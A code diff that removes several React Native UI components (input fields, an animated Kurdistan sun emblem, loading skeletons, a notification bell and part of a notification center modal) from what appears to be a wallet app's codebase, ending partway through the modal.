@@ -1,151 +0,0 @@
|
||||
import React, { useState } from 'react';
|
||||
import {
|
||||
TextInput,
|
||||
View,
|
||||
Text,
|
||||
StyleSheet,
|
||||
TextInputProps,
|
||||
Pressable,
|
||||
} from 'react-native';
|
||||
import { AppColors, KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface InputProps extends TextInputProps {
|
||||
label?: string;
|
||||
error?: string;
|
||||
helperText?: string;
|
||||
leftIcon?: React.ReactNode;
|
||||
rightIcon?: React.ReactNode;
|
||||
onRightIconPress?: () => void;
|
||||
disabled?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modern Input Component
|
||||
* Floating label, validation states, icons
|
||||
*/
|
||||
export const Input: React.FC<InputProps> = ({
|
||||
label,
|
||||
error,
|
||||
helperText,
|
||||
leftIcon,
|
||||
rightIcon,
|
||||
onRightIconPress,
|
||||
style,
|
||||
disabled,
|
||||
...props
|
||||
}) => {
|
||||
const [isFocused, setIsFocused] = useState(false);
|
||||
const hasValue = props.value && props.value.length > 0;
|
||||
|
||||
return (
|
||||
<View style={styles.container}>
|
||||
{label && (
|
||||
<Text
|
||||
style={[
|
||||
styles.label,
|
||||
(isFocused || hasValue) && styles.labelFocused,
|
||||
error && styles.labelError,
|
||||
]}
|
||||
>
|
||||
{label}
|
||||
</Text>
|
||||
)}
|
||||
<View
|
||||
style={[
|
||||
styles.inputContainer,
|
||||
isFocused && styles.inputContainerFocused,
|
||||
error && styles.inputContainerError,
|
||||
]}
|
||||
>
|
||||
{leftIcon && <View style={styles.leftIcon}>{leftIcon}</View>}
|
||||
<TextInput
|
||||
{...props}
|
||||
editable={props.editable !== undefined ? props.editable : !disabled}
|
||||
style={[styles.input, !!leftIcon && styles.inputWithLeftIcon, style]}
|
||||
onFocus={(e) => {
|
||||
setIsFocused(true);
|
||||
props.onFocus?.(e);
|
||||
}}
|
||||
onBlur={(e) => {
|
||||
setIsFocused(false);
|
||||
props.onBlur?.(e);
|
||||
}}
|
||||
placeholderTextColor={AppColors.textSecondary}
|
||||
/>
|
||||
{rightIcon && (
|
||||
<Pressable onPress={onRightIconPress} style={styles.rightIcon}>
|
||||
{rightIcon}
|
||||
</Pressable>
|
||||
)}
|
||||
</View>
|
||||
{(error || helperText) && (
|
||||
<Text style={[styles.helperText, error && styles.errorText]}>
|
||||
{error || helperText}
|
||||
</Text>
|
||||
)}
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
marginBottom: 16,
|
||||
},
|
||||
label: {
|
||||
fontSize: 14,
|
||||
fontWeight: '500',
|
||||
color: AppColors.textSecondary,
|
||||
marginBottom: 8,
|
||||
},
|
||||
labelFocused: {
|
||||
color: KurdistanColors.kesk,
|
||||
},
|
||||
labelError: {
|
||||
color: KurdistanColors.sor,
|
||||
},
|
||||
inputContainer: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
backgroundColor: AppColors.surface,
|
||||
borderWidth: 1.5,
|
||||
borderColor: AppColors.border,
|
||||
borderRadius: 12,
|
||||
paddingHorizontal: 16,
|
||||
minHeight: 52,
|
||||
},
|
||||
inputContainerFocused: {
|
||||
borderColor: KurdistanColors.kesk,
|
||||
borderWidth: 2,
|
||||
elevation: 2,
|
||||
},
|
||||
inputContainerError: {
|
||||
borderColor: KurdistanColors.sor,
|
||||
},
|
||||
input: {
|
||||
flex: 1,
|
||||
fontSize: 16,
|
||||
color: AppColors.text,
|
||||
paddingVertical: 12,
|
||||
},
|
||||
inputWithLeftIcon: {
|
||||
marginLeft: 12,
|
||||
},
|
||||
leftIcon: {
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
rightIcon: {
|
||||
padding: 8,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
helperText: {
|
||||
fontSize: 12,
|
||||
color: AppColors.textSecondary,
|
||||
marginTop: 4,
|
||||
marginLeft: 16,
|
||||
},
|
||||
errorText: {
|
||||
color: KurdistanColors.sor,
|
||||
},
|
||||
});
|
||||
@@ -1,154 +0,0 @@
|
||||
import React, { useState } from 'react';
|
||||
import {
|
||||
TextInput,
|
||||
View,
|
||||
Text,
|
||||
StyleSheet,
|
||||
TextInputProps,
|
||||
Pressable,
|
||||
} from 'react-native';
|
||||
import { AppColors, KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface InputProps extends TextInputProps {
|
||||
label?: string;
|
||||
error?: string;
|
||||
helperText?: string;
|
||||
leftIcon?: React.ReactNode;
|
||||
rightIcon?: React.ReactNode;
|
||||
onRightIconPress?: () => void;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modern Input Component
|
||||
* Floating label, validation states, icons
|
||||
*/
|
||||
export const Input: React.FC<InputProps> = ({
|
||||
label,
|
||||
error,
|
||||
helperText,
|
||||
leftIcon,
|
||||
rightIcon,
|
||||
onRightIconPress,
|
||||
style,
|
||||
...props
|
||||
}) => {
|
||||
const [isFocused, setIsFocused] = useState(false);
|
||||
const hasValue = props.value && props.value.length > 0;
|
||||
|
||||
return (
|
||||
<View style={styles.container}>
|
||||
{label && (
|
||||
<Text
|
||||
style={[
|
||||
styles.label,
|
||||
(isFocused || hasValue) && styles.labelFocused,
|
||||
error && styles.labelError,
|
||||
]}
|
||||
>
|
||||
{label}
|
||||
</Text>
|
||||
)}
|
||||
<View
|
||||
style={[
|
||||
styles.inputContainer,
|
||||
isFocused && styles.inputContainerFocused,
|
||||
error && styles.inputContainerError,
|
||||
]}
|
||||
>
|
||||
{leftIcon && <View style={styles.leftIcon}>{leftIcon}</View>}
|
||||
<TextInput
|
||||
{...props}
|
||||
editable={props.editable !== undefined ? props.editable : !props.disabled}
|
||||
style={[styles.input, leftIcon && styles.inputWithLeftIcon, style]}
|
||||
onFocus={(e) => {
|
||||
setIsFocused(true);
|
||||
props.onFocus?.(e);
|
||||
}}
|
||||
onBlur={(e) => {
|
||||
setIsFocused(false);
|
||||
props.onBlur?.(e);
|
||||
}}
|
||||
placeholderTextColor={AppColors.textSecondary}
|
||||
/>
|
||||
{rightIcon && (
|
||||
<Pressable onPress={onRightIconPress} style={styles.rightIcon}>
|
||||
{rightIcon}
|
||||
</Pressable>
|
||||
)}
|
||||
</View>
|
||||
{(error || helperText) && (
|
||||
<Text style={[styles.helperText, error && styles.errorText]}>
|
||||
{error || helperText}
|
||||
</Text>
|
||||
)}
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
marginBottom: 16,
|
||||
},
|
||||
label: {
|
||||
fontSize: 14,
|
||||
fontWeight: '500',
|
||||
color: AppColors.textSecondary,
|
||||
marginBottom: 8,
|
||||
transition: 'all 0.2s',
|
||||
},
|
||||
labelFocused: {
|
||||
color: KurdistanColors.kesk,
|
||||
},
|
||||
labelError: {
|
||||
color: KurdistanColors.sor,
|
||||
},
|
||||
inputContainer: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
backgroundColor: AppColors.surface,
|
||||
borderWidth: 1.5,
|
||||
borderColor: AppColors.border,
|
||||
borderRadius: 12,
|
||||
paddingHorizontal: 16,
|
||||
minHeight: 52,
|
||||
},
|
||||
inputContainerFocused: {
|
||||
borderColor: KurdistanColors.kesk,
|
||||
borderWidth: 2,
|
||||
shadowColor: KurdistanColors.kesk,
|
||||
shadowOffset: { width: 0, height: 2 },
|
||||
shadowOpacity: 0.1,
|
||||
shadowRadius: 4,
|
||||
elevation: 2,
|
||||
},
|
||||
inputContainerError: {
|
||||
borderColor: KurdistanColors.sor,
|
||||
},
|
||||
input: {
|
||||
flex: 1,
|
||||
fontSize: 16,
|
||||
color: AppColors.text,
|
||||
paddingVertical: 12,
|
||||
},
|
||||
inputWithLeftIcon: {
|
||||
marginLeft: 12,
|
||||
},
|
||||
leftIcon: {
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
rightIcon: {
|
||||
padding: 8,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
helperText: {
|
||||
fontSize: 12,
|
||||
color: AppColors.textSecondary,
|
||||
marginTop: 4,
|
||||
marginLeft: 16,
|
||||
},
|
||||
errorText: {
|
||||
color: KurdistanColors.sor,
|
||||
},
|
||||
});
|
||||
@@ -1,224 +0,0 @@
|
||||
import React, { useEffect, useMemo } from 'react';
|
||||
import { View, Animated, Easing, StyleSheet } from 'react-native';
|
||||
import Svg, { Circle, Line, Defs, RadialGradient, Stop } from 'react-native-svg';
|
||||
|
||||
interface KurdistanSunProps {
|
||||
size?: number;
|
||||
}
|
||||
|
||||
const AnimatedView = Animated.View;
|
||||
|
||||
export const KurdistanSun: React.FC<KurdistanSunProps> = ({ size = 200 }) => {
|
||||
// Animation values - use useMemo since these are stable and used during render
|
||||
const greenHaloRotation = useMemo(() => new Animated.Value(0), []);
|
||||
const redHaloRotation = useMemo(() => new Animated.Value(0), []);
|
||||
const yellowHaloRotation = useMemo(() => new Animated.Value(0), []);
|
||||
const raysPulse = useMemo(() => new Animated.Value(1), []);
|
||||
const glowPulse = useMemo(() => new Animated.Value(0.6), []);
|
||||
|
||||
useEffect(() => {
|
||||
// Green halo rotation (3s, clockwise)
|
||||
Animated.loop(
|
||||
Animated.timing(greenHaloRotation, {
|
||||
toValue: 1,
|
||||
duration: 3000,
|
||||
easing: Easing.linear,
|
||||
useNativeDriver: true,
|
||||
})
|
||||
).start();
|
||||
|
||||
// Red halo rotation (2.5s, counter-clockwise)
|
||||
Animated.loop(
|
||||
Animated.timing(redHaloRotation, {
|
||||
toValue: -1,
|
||||
duration: 2500,
|
||||
easing: Easing.linear,
|
||||
useNativeDriver: true,
|
||||
})
|
||||
).start();
|
||||
|
||||
// Yellow halo rotation (2s, clockwise)
|
||||
Animated.loop(
|
||||
Animated.timing(yellowHaloRotation, {
|
||||
toValue: 1,
|
||||
duration: 2000,
|
||||
easing: Easing.linear,
|
||||
useNativeDriver: true,
|
||||
})
|
||||
).start();
|
||||
|
||||
// Rays pulse animation
|
||||
Animated.loop(
|
||||
Animated.sequence([
|
||||
Animated.timing(raysPulse, {
|
||||
toValue: 0.7,
|
||||
duration: 1000,
|
||||
easing: Easing.inOut(Easing.ease),
|
||||
useNativeDriver: true,
|
||||
}),
|
||||
Animated.timing(raysPulse, {
|
||||
toValue: 1,
|
||||
duration: 1000,
|
||||
easing: Easing.inOut(Easing.ease),
|
||||
useNativeDriver: true,
|
||||
}),
|
||||
])
|
||||
).start();
|
||||
|
||||
// Glow pulse animation
|
||||
Animated.loop(
|
||||
Animated.sequence([
|
||||
Animated.timing(glowPulse, {
|
||||
toValue: 0.3,
|
||||
duration: 1000,
|
||||
easing: Easing.inOut(Easing.ease),
|
||||
useNativeDriver: true,
|
||||
}),
|
||||
Animated.timing(glowPulse, {
|
||||
toValue: 0.6,
|
||||
duration: 1000,
|
||||
easing: Easing.inOut(Easing.ease),
|
||||
useNativeDriver: true,
|
||||
}),
|
||||
])
|
||||
).start();
|
||||
}, [greenHaloRotation, redHaloRotation, yellowHaloRotation, raysPulse, glowPulse]);
|
||||
|
||||
const greenSpin = greenHaloRotation.interpolate({
|
||||
inputRange: [0, 1],
|
||||
outputRange: ['0deg', '360deg'],
|
||||
});
|
||||
|
||||
const redSpin = redHaloRotation.interpolate({
|
||||
inputRange: [-1, 0],
|
||||
outputRange: ['-360deg', '0deg'],
|
||||
});
|
||||
|
||||
const yellowSpin = yellowHaloRotation.interpolate({
|
||||
inputRange: [0, 1],
|
||||
outputRange: ['0deg', '360deg'],
|
||||
});
|
||||
|
||||
const haloSize = size * 0.9;
|
||||
const borderWidth = size * 0.02;
|
||||
|
||||
// Generate 21 rays for Kurdistan flag
|
||||
const rays = Array.from({ length: 21 }).map((_, i) => {
|
||||
const angle = (i * 360) / 21;
|
||||
return (
|
||||
<Line
|
||||
key={i}
|
||||
x1="100"
|
||||
y1="100"
|
||||
x2="100"
|
||||
y2="20"
|
||||
stroke="rgba(255, 255, 255, 0.9)"
|
||||
strokeWidth="3"
|
||||
strokeLinecap="round"
|
||||
transform={`rotate(${angle} 100 100)`}
|
||||
/>
|
||||
);
|
||||
});
|
||||
|
||||
return (
|
||||
<View style={[styles.container, { width: size, height: size }]}>
|
||||
{/* Rotating colored halos */}
|
||||
<View style={styles.halosContainer}>
|
||||
{/* Green halo (outermost) */}
|
||||
<AnimatedView
|
||||
style={[
|
||||
styles.halo,
|
||||
{
|
||||
width: haloSize,
|
||||
height: haloSize,
|
||||
borderWidth: borderWidth,
|
||||
borderTopColor: '#00FF00',
|
||||
borderBottomColor: '#00FF00',
|
||||
borderLeftColor: 'transparent',
|
||||
borderRightColor: 'transparent',
|
||||
transform: [{ rotate: greenSpin }],
|
||||
},
|
||||
]}
|
||||
/>
|
||||
{/* Red halo (middle) */}
|
||||
<AnimatedView
|
||||
style={[
|
||||
styles.halo,
|
||||
{
|
||||
width: haloSize * 0.8,
|
||||
height: haloSize * 0.8,
|
||||
borderWidth: borderWidth,
|
||||
borderTopColor: 'transparent',
|
||||
borderBottomColor: 'transparent',
|
||||
borderLeftColor: '#FF0000',
|
||||
borderRightColor: '#FF0000',
|
||||
transform: [{ rotate: redSpin }],
|
||||
},
|
||||
]}
|
||||
/>
|
||||
{/* Yellow halo (inner) */}
|
||||
<AnimatedView
|
||||
style={[
|
||||
styles.halo,
|
||||
{
|
||||
width: haloSize * 0.6,
|
||||
height: haloSize * 0.6,
|
||||
borderWidth: borderWidth,
|
||||
borderTopColor: '#FFD700',
|
||||
borderBottomColor: '#FFD700',
|
||||
borderLeftColor: 'transparent',
|
||||
borderRightColor: 'transparent',
|
||||
transform: [{ rotate: yellowSpin }],
|
||||
},
|
||||
]}
|
||||
/>
|
||||
</View>
|
||||
|
||||
{/* Kurdistan Sun SVG with 21 rays */}
|
||||
<AnimatedView style={[styles.svgContainer, { opacity: raysPulse }]}>
|
||||
<Svg width={size} height={size} viewBox="0 0 200 200">
|
||||
<Defs>
|
||||
<RadialGradient id="sunGradient" cx="50%" cy="50%" r="50%">
|
||||
<Stop offset="0%" stopColor="rgba(255, 255, 255, 0.8)" />
|
||||
<Stop offset="100%" stopColor="rgba(255, 255, 255, 0.2)" />
|
||||
</RadialGradient>
|
||||
</Defs>
|
||||
|
||||
{/* Sun rays (21 rays for Kurdistan flag) */}
|
||||
{rays}
|
||||
|
||||
{/* Central white circle */}
|
||||
<Circle cx="100" cy="100" r="35" fill="white" />
|
||||
|
||||
{/* Inner glow */}
|
||||
<Circle cx="100" cy="100" r="35" fill="url(#sunGradient)" />
|
||||
</Svg>
|
||||
</AnimatedView>
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
position: 'relative',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
},
|
||||
halosContainer: {
|
||||
position: 'absolute',
|
||||
width: '100%',
|
||||
height: '100%',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
},
|
||||
halo: {
|
||||
position: 'absolute',
|
||||
borderRadius: 1000,
|
||||
},
|
||||
svgContainer: {
|
||||
position: 'relative',
|
||||
zIndex: 1,
|
||||
},
|
||||
});
|
||||
|
||||
export default KurdistanSun;
|
||||
@@ -1,117 +0,0 @@
|
||||
import React, { useEffect } from 'react';
|
||||
import { View, Animated, StyleSheet, ViewStyle } from 'react-native';
|
||||
import { AppColors } from '../theme/colors';
|
||||
|
||||
interface SkeletonProps {
|
||||
width?: number | string;
|
||||
height?: number;
|
||||
borderRadius?: number;
|
||||
style?: ViewStyle;
|
||||
}
|
||||
|
||||
/**
|
||||
* Loading Skeleton Component
|
||||
* Shimmer animation for loading states
|
||||
*/
|
||||
export const Skeleton: React.FC<SkeletonProps> = ({
|
||||
width = '100%',
|
||||
height = 20,
|
||||
borderRadius = 8,
|
||||
style,
|
||||
}) => {
|
||||
const animatedValue = React.useState(() => new Animated.Value(0))[0];
|
||||
|
||||
useEffect(() => {
|
||||
const animation = Animated.loop(
|
||||
Animated.sequence([
|
||||
Animated.timing(animatedValue, {
|
||||
toValue: 1,
|
||||
duration: 1000,
|
||||
useNativeDriver: true,
|
||||
}),
|
||||
Animated.timing(animatedValue, {
|
||||
toValue: 0,
|
||||
duration: 1000,
|
||||
useNativeDriver: true,
|
||||
}),
|
||||
])
|
||||
);
|
||||
animation.start();
|
||||
return () => animation.stop();
|
||||
}, [animatedValue]);
|
||||
|
||||
const opacity = animatedValue.interpolate({
|
||||
inputRange: [0, 1],
|
||||
outputRange: [0.3, 0.7],
|
||||
});
|
||||
|
||||
return (
|
||||
<Animated.View
|
||||
style={[
|
||||
styles.skeleton,
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
{ width: width as any, height, borderRadius, opacity },
|
||||
style,
|
||||
]}
|
||||
/>
|
||||
);
|
||||
};
|
||||
|
||||
/**
|
||||
* Card Skeleton for loading states
|
||||
*/
|
||||
export const CardSkeleton: React.FC = () => (
|
||||
<View style={styles.cardSkeleton}>
|
||||
<Skeleton width="60%" height={24} style={{ marginBottom: 12 }} />
|
||||
<Skeleton width="40%" height={16} style={{ marginBottom: 8 }} />
|
||||
<Skeleton width="80%" height={16} style={{ marginBottom: 16 }} />
|
||||
<View style={styles.row}>
|
||||
<Skeleton width={60} height={32} borderRadius={16} />
|
||||
<Skeleton width={80} height={32} borderRadius={16} />
|
||||
</View>
|
||||
</View>
|
||||
);
|
||||
|
||||
/**
|
||||
* List Item Skeleton
|
||||
*/
|
||||
export const ListItemSkeleton: React.FC = () => (
|
||||
<View style={styles.listItem}>
|
||||
<Skeleton width={48} height={48} borderRadius={24} />
|
||||
<View style={styles.listItemContent}>
|
||||
<Skeleton width="70%" height={16} style={{ marginBottom: 8 }} />
|
||||
<Skeleton width="40%" height={14} />
|
||||
</View>
|
||||
</View>
|
||||
);
|
||||
|
||||
// Export LoadingSkeleton as an alias for compatibility
|
||||
export const LoadingSkeleton = Skeleton;
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
skeleton: {
|
||||
backgroundColor: AppColors.border,
|
||||
},
|
||||
cardSkeleton: {
|
||||
backgroundColor: AppColors.surface,
|
||||
borderRadius: 16,
|
||||
padding: 16,
|
||||
marginBottom: 16,
|
||||
},
|
||||
row: {
|
||||
flexDirection: 'row',
|
||||
gap: 12,
|
||||
},
|
||||
listItem: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
padding: 16,
|
||||
gap: 12,
|
||||
backgroundColor: AppColors.surface,
|
||||
borderRadius: 12,
|
||||
marginBottom: 8,
|
||||
},
|
||||
listItemContent: {
|
||||
flex: 1,
|
||||
},
|
||||
});
|
||||
@@ -1,85 +0,0 @@
|
||||
import React, { useState, useEffect } from 'react';
|
||||
import { View, Text, TouchableOpacity, StyleSheet } from 'react-native';
|
||||
import { usePezkuwi } from '../contexts/PezkuwiContext';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
import { supabaseHelpers } from '../lib/supabase';
|
||||
|
||||
import type { ViewStyle } from 'react-native';
|
||||
|
||||
interface NotificationBellProps {
|
||||
onPress: () => void;
|
||||
style?: ViewStyle;
|
||||
}
|
||||
|
||||
export const NotificationBell: React.FC<NotificationBellProps> = ({ onPress, style }) => {
|
||||
const { selectedAccount, api, isApiReady } = usePezkuwi();
|
||||
const [unreadCount, setUnreadCount] = useState(0);
|
||||
|
||||
useEffect(() => {
|
||||
if (!api || !isApiReady || !selectedAccount) {
|
||||
// Reset count when dependencies are not available - valid conditional setState
|
||||
// eslint-disable-next-line react-hooks/set-state-in-effect
|
||||
setUnreadCount(0);
|
||||
return;
|
||||
}
|
||||
|
||||
// Fetch unread notification count from Supabase
|
||||
const fetchUnreadCount = async () => {
|
||||
try {
|
||||
const count = await supabaseHelpers.getUnreadNotificationsCount(selectedAccount.address);
|
||||
setUnreadCount(count);
|
||||
} catch {
|
||||
if (__DEV__) console.warn('Failed to fetch unread count');
|
||||
// If tables don't exist yet, set to 0
|
||||
setUnreadCount(0);
|
||||
}
|
||||
};
|
||||
|
||||
fetchUnreadCount();
|
||||
|
||||
// Refresh every 30 seconds
|
||||
const interval = setInterval(fetchUnreadCount, 30000);
|
||||
return () => clearInterval(interval);
|
||||
}, [api, isApiReady, selectedAccount]);
|
||||
|
||||
return (
|
||||
<TouchableOpacity onPress={onPress} style={[styles.container, style]}>
|
||||
<Text style={styles.bellIcon}>🔔</Text>
|
||||
{unreadCount > 0 && (
|
||||
<View style={styles.badge}>
|
||||
<Text style={styles.badgeText}>{unreadCount > 9 ? '9+' : unreadCount}</Text>
|
||||
</View>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
position: 'relative',
|
||||
width: 40,
|
||||
height: 40,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
bellIcon: {
|
||||
fontSize: 24,
|
||||
},
|
||||
badge: {
|
||||
position: 'absolute',
|
||||
top: 4,
|
||||
right: 4,
|
||||
backgroundColor: KurdistanColors.sor,
|
||||
borderRadius: 10,
|
||||
minWidth: 20,
|
||||
height: 20,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
paddingHorizontal: 4,
|
||||
},
|
||||
badgeText: {
|
||||
color: '#FFFFFF',
|
||||
fontSize: 11,
|
||||
fontWeight: 'bold',
|
||||
},
|
||||
});
|
||||
@@ -1,457 +0,0 @@
|
||||
import React, { useState, useEffect } from 'react';
|
||||
import {
|
||||
View,
|
||||
Text,
|
||||
Modal,
|
||||
StyleSheet,
|
||||
ScrollView,
|
||||
TouchableOpacity,
|
||||
Alert,
|
||||
} from 'react-native';
|
||||
import { useSafeAreaInsets } from 'react-native-safe-area-context';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
import { usePezkuwi } from '../contexts/PezkuwiContext';
|
||||
import { supabaseHelpers } from '../lib/supabase';
|
||||
|
||||
interface Notification {
|
||||
id: string;
|
||||
type: 'transaction' | 'governance' | 'p2p' | 'referral' | 'system';
|
||||
title: string;
|
||||
message: string;
|
||||
read: boolean;
|
||||
timestamp: string;
|
||||
}
|
||||
|
||||
interface NotificationCenterModalProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
// Notifications are stored in Supabase database
|
||||
|
||||
export const NotificationCenterModal: React.FC<NotificationCenterModalProps> = ({
|
||||
visible,
|
||||
onClose,
|
||||
}) => {
|
||||
const insets = useSafeAreaInsets();
|
||||
const { selectedAccount } = usePezkuwi();
|
||||
const [notifications, setNotifications] = useState<Notification[]>([]);
|
||||
const [_loading, setLoading] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
if (visible && selectedAccount) {
|
||||
const fetchNotifications = async () => {
|
||||
try {
|
||||
setLoading(true);
|
||||
|
||||
// Fetch notifications from Supabase
|
||||
const data = await supabaseHelpers.getUserNotifications(selectedAccount.address);
|
||||
|
||||
// Transform to match component interface
|
||||
const transformed = data.map(n => ({
|
||||
...n,
|
||||
timestamp: n.created_at,
|
||||
}));
|
||||
|
||||
setNotifications(transformed);
|
||||
|
||||
} catch (error) {
|
||||
console.error('Failed to fetch notifications:', error);
|
||||
// If tables don't exist yet, show empty state
|
||||
setNotifications([]);
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
fetchNotifications();
|
||||
}
|
||||
}, [visible, selectedAccount]);
|
||||
|
||||
const handleMarkAsRead = async (notificationId: string) => {
|
||||
try {
|
||||
// Update UI immediately
|
||||
setNotifications(prev =>
|
||||
prev.map(n => (n.id === notificationId ? { ...n, read: true } : n))
|
||||
);
|
||||
|
||||
// Update in Supabase
|
||||
await supabaseHelpers.markNotificationAsRead(notificationId);
|
||||
} catch (error) {
|
||||
console.error('Failed to mark notification as read:', error);
|
||||
}
|
||||
};
|
||||
|
||||
const handleMarkAllAsRead = async () => {
|
||||
if (!selectedAccount) return;
|
||||
|
||||
try {
|
||||
// Update UI immediately
|
||||
setNotifications(prev => prev.map(n => ({ ...n, read: true })));
|
||||
|
||||
// Update in Supabase
|
||||
await supabaseHelpers.markAllNotificationsAsRead(selectedAccount.address);
|
||||
|
||||
Alert.alert('Success', 'All notifications marked as read');
|
||||
} catch (error) {
|
||||
console.error('Failed to mark all as read:', error);
|
||||
Alert.alert('Error', 'Failed to update notifications');
|
||||
}
|
||||
};
|
||||
|
||||
const handleClearAll = () => {
|
||||
Alert.alert(
|
||||
'Clear All Notifications',
|
||||
'Are you sure you want to clear all notifications?',
|
||||
[
|
||||
{ text: 'Cancel', style: 'cancel' },
|
||||
{
|
||||
text: 'Clear',
|
||||
style: 'destructive',
|
||||
onPress: async () => {
|
||||
try {
|
||||
setNotifications([]);
|
||||
// TODO: Implement delete from Supabase when needed
|
||||
// For now, just clear from UI
|
||||
} catch (error) {
|
||||
console.error('Failed to clear notifications:', error);
|
||||
}
|
||||
},
|
||||
},
|
||||
]
|
||||
);
|
||||
};
|
||||
|
||||
const getNotificationIcon = (type: string): string => {
|
||||
const icons: Record<string, string> = {
|
||||
transaction: '💰',
|
||||
governance: '🏛️',
|
||||
p2p: '🤝',
|
||||
referral: '👥',
|
||||
system: '⚙️',
|
||||
};
|
||||
return icons[type] || '📬';
|
||||
};
|
||||
|
||||
const getNotificationColor = (type: string): string => {
|
||||
const colors: Record<string, string> = {
|
||||
transaction: KurdistanColors.kesk,
|
||||
governance: '#3B82F6',
|
||||
p2p: '#F59E0B',
|
||||
referral: '#8B5CF6',
|
||||
system: '#6B7280',
|
||||
};
|
||||
return colors[type] || '#666';
|
||||
};
|
||||
|
||||
const formatTimestamp = (timestamp: string): string => {
|
||||
const date = new Date(timestamp);
|
||||
const now = new Date();
|
||||
const diffMs = now.getTime() - date.getTime();
|
||||
const diffMins = Math.floor(diffMs / 60000);
|
||||
const diffHours = Math.floor(diffMins / 60);
|
||||
const diffDays = Math.floor(diffHours / 24);
|
||||
|
||||
if (diffMins < 60) return `${diffMins}m ago`;
|
||||
if (diffHours < 24) return `${diffHours}h ago`;
|
||||
if (diffDays < 7) return `${diffDays}d ago`;
|
||||
return date.toLocaleDateString();
|
||||
};
|
||||
|
||||
const unreadCount = notifications.filter(n => !n.read).length;
|
||||
const groupedNotifications = {
|
||||
today: notifications.filter(n => {
|
||||
const date = new Date(n.timestamp);
|
||||
const today = new Date();
|
||||
return date.toDateString() === today.toDateString();
|
||||
}),
|
||||
earlier: notifications.filter(n => {
|
||||
const date = new Date(n.timestamp);
|
||||
const today = new Date();
|
||||
return date.toDateString() !== today.toDateString();
|
||||
}),
|
||||
};
|
||||
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
animationType="slide"
|
||||
transparent={true}
|
||||
onRequestClose={onClose}
|
||||
>
|
||||
<View style={styles.modalOverlay}>
|
||||
<View style={[styles.modalContent, { paddingBottom: Math.max(insets.bottom, 20) }]}>
|
||||
{/* Header */}
|
||||
<View style={styles.header}>
|
||||
<View>
|
||||
<Text style={styles.headerTitle}>Notifications</Text>
|
||||
{unreadCount > 0 && (
|
||||
<Text style={styles.headerSubtitle}>{unreadCount} unread</Text>
|
||||
)}
|
||||
</View>
|
||||
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
|
||||
<Text style={styles.closeButtonText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
{/* Actions */}
|
||||
{notifications.length > 0 && (
|
||||
<View style={styles.actions}>
|
||||
{unreadCount > 0 && (
|
||||
<TouchableOpacity onPress={handleMarkAllAsRead} style={styles.actionButton}>
|
||||
<Text style={styles.actionButtonText}>Mark all as read</Text>
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
<TouchableOpacity onPress={handleClearAll} style={styles.actionButton}>
|
||||
<Text style={[styles.actionButtonText, styles.actionButtonDanger]}>Clear all</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
)}
|
||||
|
||||
{/* Notifications List */}
|
||||
<ScrollView style={styles.notificationsList} showsVerticalScrollIndicator={false}>
|
||||
{notifications.length === 0 ? (
|
||||
<View style={styles.emptyState}>
|
||||
<Text style={styles.emptyStateIcon}>📬</Text>
|
||||
<Text style={styles.emptyStateText}>No notifications</Text>
|
||||
<Text style={styles.emptyStateSubtext}>You're all caught up!</Text>
|
||||
</View>
|
||||
) : (
|
||||
<>
|
||||
{/* Today */}
|
||||
{groupedNotifications.today.length > 0 && (
|
||||
<>
|
||||
<Text style={styles.sectionTitle}>Today</Text>
|
||||
{groupedNotifications.today.map((notification) => (
|
||||
<TouchableOpacity
|
||||
key={notification.id}
|
||||
style={[
|
||||
styles.notificationCard,
|
||||
!notification.read && styles.notificationCardUnread,
|
||||
]}
|
||||
onPress={() => handleMarkAsRead(notification.id)}
|
||||
>
|
||||
<View
|
||||
style={[
|
||||
styles.notificationIcon,
|
||||
{ backgroundColor: `${getNotificationColor(notification.type)}15` },
|
||||
]}
|
||||
>
|
||||
<Text style={styles.notificationIconText}>
|
||||
{getNotificationIcon(notification.type)}
|
||||
</Text>
|
||||
</View>
|
||||
<View style={styles.notificationContent}>
|
||||
<View style={styles.notificationHeader}>
|
||||
<Text style={styles.notificationTitle}>{notification.title}</Text>
|
||||
{!notification.read && <View style={styles.unreadDot} />}
|
||||
</View>
|
||||
<Text style={styles.notificationMessage} numberOfLines={2}>
|
||||
{notification.message}
|
||||
</Text>
|
||||
<Text style={styles.notificationTime}>
|
||||
{formatTimestamp(notification.timestamp)}
|
||||
</Text>
|
||||
</View>
|
||||
</TouchableOpacity>
|
||||
))}
|
||||
</>
|
